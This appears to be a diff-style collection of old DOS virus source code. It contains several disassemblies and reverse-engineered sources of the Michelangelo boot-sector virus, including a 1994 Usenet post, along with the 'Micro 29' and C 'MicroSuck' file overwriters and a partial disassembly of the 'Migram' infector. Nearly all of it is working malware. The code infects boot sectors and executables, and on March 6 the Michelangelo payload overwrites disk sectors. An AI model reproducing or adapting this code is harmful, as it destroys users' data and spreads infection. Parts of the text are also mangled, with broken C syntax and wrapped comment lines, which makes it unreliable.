MOV AL,0EH
CMP SI,+0EH
JE FLPPY_DISK
MOV DL,80H
MOV BYTE PTR [DESTROY_CNT - 7C00H],04
MOV AL,11H
FLPPY_DISK:
MOV BX,5000H
MOV ES,BX
INT 13H
JNB NO_ERROR_DESTROY
;RESET_DISK
XOR AH,AH
INT 13H
NO_ERROR_DESTROY:
INC DH
CMP DH,[DESTROY_CNT - 7C00H]
JB D_LOOP
XOR DH,DH
INC CH
JMP SHORT D_LOOP
;*********************************************************************
NOT_INFECTED:
;HD ; INFECT HD
MOV CX,0007 ; BY WRITING
MOV [LOC_ORG_BOOT - 7C00H],CX ; ORGINAL BOOT
MOV AX,0301H ; TO HEAD 0 SECTOR 7
MOV DX,0080H ; TRACK 0
INT 13H ;
JB GET_DATE ;
;UPDATE_PARTION:
MOV SI,03BEH ;IMPORTANT TO UPDATE
MOV DI,01BEH ;PARTION TABLE
MOV CX,21H ;
REPZ MOVSW ;
MOV AX,0301H ;NOW WRITE VIRUS
XOR BX,BX ;TO HARD DRIVE
INC CL ;
INT 13H
JMP SHORT GET_DATE
;THE REST IS WHERE THE PARTION TABLE INFO GOES OR END OF FLOPPY DISK
;BOOT SECTOR GOES
ORG 7DBEH
END_VIR:
DB 00
ORG 7DFEH
BOOT_ID DB 55H,0AAH
micha ENDS
END START
+234
View File
@@ -0,0 +1,234 @@
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
+322
View File
@@ -0,0 +1,322 @@
TITLE MICHELANGELO, a STONED - derived Boot Virus
SUBTTL reverse engineered source code for MASM 5.1/6.0
PAGE 60,132
.RADIX 16
IF1
%Out ÉÍ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION Í»
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
%Out º°°°°°°°°°°°°°°°ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿°°°°°°°°°°°°°°°°º
%Out º°°ÄÄÄÄÄÄÄÄÄÄÄÄÄ´ M I C H E L A N G E L O ÃÄÄÄÄÄÄÄÄÄÄÄÄÄݰº
%Out º°°°°°°°°°°°°°°°ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°°°°°°°°°°°°°°°º
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
%Out ÈÍÍ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 Íͼ
ENDIF
comment #
! !
! MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475, !
! Caprese, Republic of Florence ... !
! This boot block / partition table virus will overwrite most of the !
! data on eiter floppy disks or winchester drives at HIS birthday. !
! !
! This source code may only be used for educational purposes! !
! !
! Do not offend the law by distributing viral or trojan horse soft- !
! ware to anybody who is not aware of the potential danger of the !
! software he receives. !
! !
#
B equ <BYTE>
D equ <DWORD>
O equ <OFFSET>
P equ <PTR>
S equ <SHORT>
T equ <THIS>
v equ <OR>
W equ <WORD>
SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
IFNB <_X>
IFIDN <_X>,<F>
PUSHF
ELSE
PUSH _X
ENDIF
ENDIF
ENDM
ENDM
REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
IFNB <_X>
IFIDN <_X>,<F>
POPF
ELSE
POP _X
ENDIF
ENDIF
ENDM
ENDM
MOV_S MACRO S1,S2
SAVE S2
REST S1
ENDM
TEXT SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:TEXT,DS:TEXT,ES:TEXT
ORG 0
MICHELANGELO = 0306 ; ... his BCD birthday
;
SECSIZE = 0200 ;
WINCHESTER1 = 80 ;
bREAD = 2 ;
wREAD = bREAD SHL 8 ;
bWRITE = 3 ;
wWRITE = bWRITE SHL 8 ;
;
DTA = T B + SECSIZE ;
;
OR13OFF = T W + 04C ;
OR13SEG = T W + 04E ;
SYSRAM = T W + 413 ;
MOSTAT = T B + 43F ;
;
PARTTBL = T B + 1BE ;
;
OFSFRM0 EQU 7C00 ;
;
START: JMP INIT ;
;
; -----------------------------------------------------------------------------
;
SHDWRELOCOFS = T W + OFSFRM0 ;
RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp
SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code.
RELOCSEG DW ? ;
;
HEADS DB ? ;
;
CYLSEG DW ? ;
;
SHDW13OFS = T W + OFSFRM0 ;
BIOS13OFS DW ? ; Holds original (BIOS)
SHDW13SEG = T W + OFSFRM0 ; int 13 vector.
BIOS13SEG DW ? ;
;
; -----------------------------------------------------------------------------
;
I13_ISR: SAVE DS,AX ; INT 13 SR, save regs
OR DL,DL ; drive == A ?
JNZ I13_EX ; jmp if not
XOR AX,AX ; DS = 0
MOV DS,AX ;
TEST B P [MOSTAT],01 ; test diskette motor status:
JNZ I13_EX ; jmp if motor is already on
REST AX,DS ;
SAVE F ; call old interrupt 13
CALL D P CS:[BIOS13OFS] ; routine
SAVE F ; save FLAGS
CALL TstInfF ; test & infect if necessary
REST F ; restore FLAGS
RETF 2 ; return, preserve FLAGS
;
I13_EX: REST AX,DS ; restore regs, jmp to old int
JMP D P CS:[BIOS13OFS] ; 13h routine
;
TstInfF: SAVE AX,BX,CX,DX,DS,ES,SI,DI ;
MOV_S DS,CS ; ES = DS = CS;
MOV_S ES,CS ;
MOV SI,0004 ; SI = 4 (maxretry counter)
@@: MOV AX,wREAD v 1 ; AX : read one sector
MOV BX,O DTA ; BX : ... to buffer at CS:200
MOV CX,0001 ; CX : ... cylinder 0, sector 1
XOR DX,DX ; DX : ... drive 0, head 0
SAVE F ; call old int13 routine by
CALL D P [BIOS13OFS] ; simulating an interrupt
JNB @F ; jmp if there isn't an error,
XOR AX,AX ; else reset disk system ...
SAVE F ;
CALL D P [BIOS13OFS] ;
DEC SI ; decrement maxretry counter
JNZ @B ; try it again if not zero,
JMP S TstInfF_EX ; else jmp to exit in haste.
;
@@: XOR SI,SI ; boot sector has been read,
CLD ; now test if disk already has
LODSW ; been infected. Assume infect-
CMP AX,[BX] ; ion if the first 4 bytes of
JNZ @F ; MICHI and the boot sector are
LODSW ; identical ...
CMP AX,[BX+02] ;
JZ TstInfF_EX ; exit, disk already infected
@@: MOV AX,wWRITE v 1 ; AX : Write one sector
MOV DH,01 ; DH : Head 1
MOV CL,03 ; CL : Sector 3
CMP B P [BX+15],0FDH ; adjust CL to E if the MEDIA ID
JZ @F ; field of the original boot
MOV CL,0E ; sector is not FD (5.25",360K)
@@: MOV [CYLSEG],CX ; store CX
SAVE F ; and write the original boot
CALL D P [BIOS13OFS] ; sector to the floppy disk
JB TstInfF_EX ; if an error occured,
MOV SI,O PARTTBL + SECSIZE ; exit in haste.
MOV DI,O PARTTBL ; Copy the last bytes of
MOV CX,0021 ; the original boot sector to
CLD ; the end of MICHI
REP MOVSW ;
MOV AX,wWRITE v 1 ; ... and write it to the boot
XOR BX,BX ; sector of the disk.
MOV CX,0001 ;
XOR DX,DX ;
SAVE F ;
CALL D P [BIOS13OFS] ;
TstInfF_EX: REST DI,SI,ES,DS,DX,CX,BX,AX ; restore regs
RET ; ... return
;
; -----------------------------------------------------------------------------
;
INIT: XOR AX,AX ; Set DS and SS to 0000,
MOV DS,AX ; initialize SP to 7C00.
CLI ; That's because the boot
MOV SS,AX ; sector will loaded into
MOV AX,OFSFRM0 ; memory at 0:7C00 on every
MOV SP,AX ; IBM clone ...
STI ;
;
SAVE DS,AX ; save (0000:7C00) on stack
;
MOV AX,[OR13OFF] ; Read old interrupt 13h vector
MOV [SHDW13OFS],AX ; and save it
MOV AX,[OR13SEG] ;
MOV [SHDW13SEG],AX ;
;
MOV AX,[SYSRAM] ; Substract 2 from base memory
DEC AX ; size variable in BIOS data
DEC AX ; area
MOV [SYSRAM],AX ;
;
MOV CL,06 ; ES = AX = segment part of huge
SHL AX,CL ; ptr to area 2KB below last
MOV ES,AX ; base memory location
;
MOV [SHDWRELOCSEG],AX ; Store seg for ind far jmp
; to relocated code
MOV AX,O I13_ISR ; Store ptr to new interrupt
MOV [OR13OFF],AX ; 13 service routine to
MOV [OR13SEG],ES ; interrupt table,
MOV CX,O PARTTBL ; Relocate code,
MOV SI,OFSFRM0 ;
XOR DI,DI ;
CLD ;
REP MOVSB ;
JMP D P CS:[SHDWRELOCOFS] ; Jmp to FRSTRLCTD (relo-
; cated code)(BUGGY)
;
FRSTRLCTD: XOR AX,AX ; Reset the disk system
MOV ES,AX ;
INT 13 ;
MOV_S DS,CS ; ES = 0; DS = CS;
MOV AX,wREAD v 1 ; AH = 'Read', AL = # to read
MOV BX,OFSFRM0 ; ES:BX = 0:7C00 = xfer address
MOV CX,[CYLSEG] ; CH = cylinder #, CL = sector #
;
CMP CX,+07 ; Booted from winchester drive?
JNZ @F ; jmp if not
MOV DX,0000 v WINCHESTER1 ; DH = head 0, DL = drive C
INT 13 ; read the original boot sector
JMP S BOOTNOW ; and jmp
;
@@: MOV CX,[CYLSEG] ; adjust cylinder/sector #s
MOV DX,0100 ; DH = head 1, DL = drive A
INT 13 ; and read the sector ...
JB BOOTNOW ; (jmp on error, else continue)
MOV_S ES,CS ; ES = CS;
MOV AX,wREAD v 1 ; read partition table of 1st
MOV BX,O DTA ; hard disk into buffer located
MOV CX,0001 ; just after the relocated code
MOV DX,0000 v WINCHESTER1 ;
INT 13 ;
JB BOOTNOW ; (jmp on error, else continue)
XOR SI,SI ;
CLD ; test if hard disk is already
LODSW ; infected by comparing the 1st
CMP AX,[BX] ; four bytes, if these are
JNZ INFECT_PARTTBL ; identical assume that the
LODSW ; hard disk already is infected
CMP AX,[BX+02] ; and continue, else jmp to
JNZ INFECT_PARTTBL ; infect procedure
;
BOOTNOW: XOR CX,CX ; read date from real time clock
MOV AH,04 ; (will _not_ work on old BIOSes
INT 1A ; that do not implement it)
CMP DX,MICHELANGELO ; jmp if today is the
JZ BIRTHDAY ; birthday of MICHELANGELO
RETF ; 'return' to original boot sec-
; tor code
;
; -----------------------------------------------------------------------------
;
BIRTHDAY: XOR DX,DX ; DH = head 0; DL = drive A
MOV CX,0001 ; CH = cylinder 0; CL = sector 1
BIRTHDAY_LOOP: MOV AX,wWRITE v 9 ; AH = 'Write'; AL = # of sectrs
MOV SI,[CYLSEG] ; adjust AL ( # of sectors) and
CMP SI,+03 ; DL (drive code) depending on
JZ @F ; the type of the current boot
MOV AL,0E ; disk
CMP SI,+0E ;
JZ @F ;
MOV DL,WINCHESTER1 ;
MOV B P [HEADS],04 ;
MOV AL,11 ;
@@: MOV BX,5000 ; ES:BX -> 'Buffer' = 5000:5000
MOV ES,BX ;
INT 13 ;
JNB @F ;
XOR AH,AH ; reset disk system if an error
INT 13 ; occured
@@: INC DH ; increment head (DH)
CMP DH,[HEADS] ; head < maxhead? continue if
JB BIRTHDAY_LOOP ; equal, else loop
XOR DH,DH ;
INC CH ; increment cylinder and loop
JMP BIRTHDAY_LOOP ; ( goodbye data - cu never )
;
; -----------------------------------------------------------------------------
;
INFECT_PARTTBL: MOV CX,0007 ; It's an HD, take sector 7 to
MOV [CYLSEG],CX ; save the original partition
MOV AX,wWRITE v 1 ; table and write it to disk
MOV DX,0000 v WINCHESTER1 ;
INT 13 ;
JB BOOTNOW ; jmp on error
MOV SI,O PARTTBL + SECSIZE ; copy partition informa-
MOV DI,O PARTTBL ; tion to the end of MICHI
MOV CX,0021 ;
REP MOVSW ;
MOV AX,wWRITE v 1 ; and write MICHI to the first
XOR BX,BX ; sector of the hard disk ...
INC CL ;
INT 13 ;
JMP BOOTNOW ;
;
; -----------------------------------------------------------------------------
;
ORG SECSIZE - 2 ; Bootblock / partition table /
DB 055,0AA ; ROM signature
;
; -----------------------------------------------------------------------------
TEXT ENDS
END START
+263
View File
@@ -0,0 +1,263 @@
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994
Xref: netcom.com alt.comp.virus:511
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Ye Ole MichelAngelo Virus
Date: 29 Nov 1994 13:19:53 GMT
Organization: Netcom
Lines: 248
Distribution: world
Message-ID: <3bf9pp$iil@ixnews1.ix.netcom.com>
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many
failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already
infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector
1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just
below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack
for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of
memory
mov es,ax ; next line sets seg of
jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control
there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition
table of
int 13h ; first hard disk to
0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get
date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to
original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to
drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next
head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table
to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
+24
View File
@@ -0,0 +1,24 @@
; #############################################################################
; ### ###
; ### M i C R O 29 ###
; ### ###
; ### By ###
; ### ###
; ### Dreamer / Demoralized Youth ###
; ### ###
; #############################################################################
MOV AH,4Eh ;Dos Universal: FIND FIRST
MOV DX,OFFSET PATT
INT 21h
MOV AX,3D02h ;Dos Universal: OPEN HANDLE
MOV DX,9Eh
INT 21h
XCHG AX,BX
MOV AH,40h ;Dos Universal: WRITE TO HANDLE
ADD DX,62h
INT 21h
RET
PATT DB '*.C*',0

+42
View File
@@ -0,0 +1,42 @@
/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
one of many high level language viruses writen to shut
up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
and to show them that it can be done (even by me who has only about
2 hours of C++ experience) compile with tc.exe (editor), exe normal
This is based on the C++ virus in virology 101, since it is what I
looked at to see how to write a virus in C++ I added something
before puting it here, and forgot to check for the new size
so YOU will have to compile it once, look at the size, then change
the variable x to the size....otherwise the "virus" will not be copied
compleatly */
#include <stdio.h
#include <dir.h
#include <dos.h
FILE *Virus,*Host;
char buff[512];
int x,y,done;
struct ffblk ffblk;
int main()
{
done = findfirst("*.EXE",&ffblk,0); /* Find a host (EXE file) */
while (!done)
{
Host=fopen(ffblk.ff_name,"rb+"); /* Open host */
Virus=fopen(_argv[0],"rb"); /* Open our virus */
/* may need to modify the next line */
x=12099; /* our lifeforms size */
while (x512) /* here we overwrite the host */
{ /* 512 byte chunks at a time */
fread(buff,512,1,Virus); /* ^ sector size ;), could be anything */
fwrite(buff,512,1,Host);
x-=512;
} /* if 512 or less byes */
fread(buff,x,1,Virus); /* Finish infection */
fwrite(buff,x,1,Host);
fcloseall(); /* Close */
done = findnext(&ffblk); /* try agian */
}
mkdir ("MicroSuck (c) 1997 By: Techno Phunk") /* activation would go */
/* here */
return (0); /* Terminate */
}
+657
View File
@@ -0,0 +1,657 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ MIGRAM ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 2-Jan-80 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Passes: 5 Analysis Options on: H ÛÛ
;ÛÛ (C) 1991 IVL ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 4Ch ; (0000:004C=0D0h)
data_3e equ 84h ; (0000:0084=0C7h)
data_5e equ 90h ; (0000:0090=0BFh)
data_7e equ 102h ; (0000:0102=0F000h)
data_8e equ 106h ; (0000:0106=0F000h)
data_9e equ 47Bh ; (0000:047B=14h)
data_10e equ 0 ; (0676:0000=0E8h)
data_11e equ 1 ; (0677:0001=3EC4h)
data_12e equ 2 ; (06C7:0002=0B8C3h)
data_13e equ 6 ; (06C7:0006=0F0EBh)
data_35e equ 0FCB6h ; (7382:FCB6=0)
data_36e equ 0FCB8h ; (7382:FCB8=0)
data_37e equ 0FCD4h ; (7382:FCD4=0)
data_38e equ 0FCD6h ; (7382:FCD6=0)
data_39e equ 0FCD8h ; (7382:FCD8=0)
data_40e equ 0FCE2h ; (7382:FCE2=0)
data_41e equ 0FCE4h ; (7382:FCE4=0)
data_42e equ 0FCEAh ; (7382:FCEA=0)
data_43e equ 0FCECh ; (7382:FCEC=0)
data_44e equ 0 ; (F000:0000=0AA55h)
data_45e equ 2 ; (F000:0002=40h)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
migram proc far
start:
jmp loc_22 ; (0449)
db 0C3h
db 23 dup (0C3h)
db 2Ah, 2Eh, 5Ah, 49h, 50h, 0
data_17 dw 0C3C3h
data_18 dw 0C3C3h
data_19 db 0, 0
data_20 dw 0
data_21 dw 0
data_22 dw 0
data_23 dw 7382h
data_24 dd 00000h
data_25 dw 0
data_26 dw 7382h
data_27 dd 00000h
data_28 dw 0
data_29 dw 7382h
data_30 db 0Ah, 0Dh, ' ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ'
db '»', 0Ah, 0Dh, ' º MIGRAM VIRUS '
db '1.0 º', 0Ah, 0Dh, ' º (C) 19'
db '91 IVL º', 0Ah, 0Dh, ' ÈÍÍÍÍÍ'
db 'ÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ', 0Ah, 0Dh, 0Ah
db 0Dh, '$'
db 3Dh, 4Dh, 4Bh, 75h, 9, 55h
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
db 3Dh, 0, 6Ch, 75h, 5, 80h
db 0FBh, 0, 74h, 3
loc_1:
jmp loc_13 ; (0277)
loc_2:
push es
push ds
push di
push si
push bp
push dx
push cx
push bx
push ax
call sub_6 ; (03CF)
call sub_7 ; (040C)
cmp ax,6C00h
jne loc_3 ; Jump if not equal
mov dx,si
loc_3:
mov cx,80h
mov si,dx
locloop_4:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],5049h
je loc_7 ; Jump if equal
cmp word ptr [si],4558h
je loc_6 ; Jump if equal
loc_5:
jmp short loc_12 ; (026B)
db 90h
loc_6:
cmp word ptr [si-2],452Eh
je loc_8 ; Jump if equal
jmp short loc_5 ; (01FE)
loc_7:
cmp word ptr [si-2],5A2Eh
jne loc_5 ; Jump if not equal
loc_8:
mov ax,3D02h
call sub_5 ; (03C8)
jc loc_12 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5 ; (03C8)
mov cs:data_20,cx ; (7382:0127=0)
mov cs:data_21,dx ; (7382:0129=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5 ; (03C8)
jc loc_10 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_9 ; Jump if not equal
call sub_1 ; (027C)
jmp short loc_10 ; (0254)
loc_9:
call sub_4 ; (03AA)
loc_10:
jc loc_11 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_20 ; (7382:0127=0)
mov dx,cs:data_21 ; (7382:0129=0)
call sub_5 ; (03C8)
loc_11:
mov ah,3Eh ; '>'
call sub_5 ; (03C8)
loc_12:
call sub_7 ; (040C)
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_13:
jmp cs:data_24 ; (7382:012F=0)
migram endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
